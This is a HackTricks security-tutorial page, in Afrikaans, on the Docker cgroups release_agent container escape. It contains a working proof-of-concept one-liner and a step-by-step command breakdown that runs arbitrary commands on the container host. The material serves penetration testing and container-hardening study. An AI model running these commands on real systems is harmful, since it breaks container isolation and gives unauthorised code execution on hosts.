Docker release_agent cgroups escape

Reading time: 3 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Vir verdere besonderhede, verwys na die oorspronklike blogpos. Dit is net 'n opsomming:

Oorspronklike PoC:

shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Die bewys van konsep (PoC) demonstreer 'n metode om cgroups te benut deur 'n release_agent-lêer te skep en sy aanroep te aktiveer om arbitrêre opdragte op die houer-gasheer uit te voer. Hier is 'n uiteensetting van die stappe wat betrokke is:

  1. Bereid die Omgewing Voor:
  • 'n Gids /tmp/cgrp word geskep om as 'n monteerpunt vir die cgroup te dien.
  • Die RDMA cgroup-beheerder word op hierdie gids gemonteer. In die geval van afwesigheid van die RDMA-beheerder, word dit voorgestel om die memory cgroup-beheerder as 'n alternatief te gebruik.
shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Stel die Kind Cgroup op:
  • 'n Kind cgroup met die naam "x" word binne die gemonteerde cgroup-gids geskep.
  • Kennisgewings word geaktiveer vir die "x" cgroup deur 1 in sy notify_on_release-lêer te skryf.
shell
echo 1 > /tmp/cgrp/x/notify_on_release
  1. Konfigureer die Release Agent:
  • Die pad van die houer op die gasheer word verkry uit die /etc/mtab lêer.
  • Die release_agent lêer van die cgroup word dan gekonfigureer om 'n skrif genaamd /cmd uit te voer wat op die verkryde gasheerpad geleë is.
shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Skep en Konfigureer die /cmd Skrip:
  • Die /cmd skrip word binne die houer geskep en is geconfigureer om ps aux uit te voer, terwyl die uitvoer na 'n lêer met die naam /output in die houer herlei word. Die volle pad van /output op die gasheer word gespesifiseer.
shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Trigger die Aanval:
  • 'n Proses word binne die "x" kind cgroup geinitieer en word onmiddellik beëindig.
  • Dit aktiveer die release_agent (die /cmd skrip), wat ps aux op die gasheer uitvoer en die uitvoer na /output binne die houer skryf.
shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks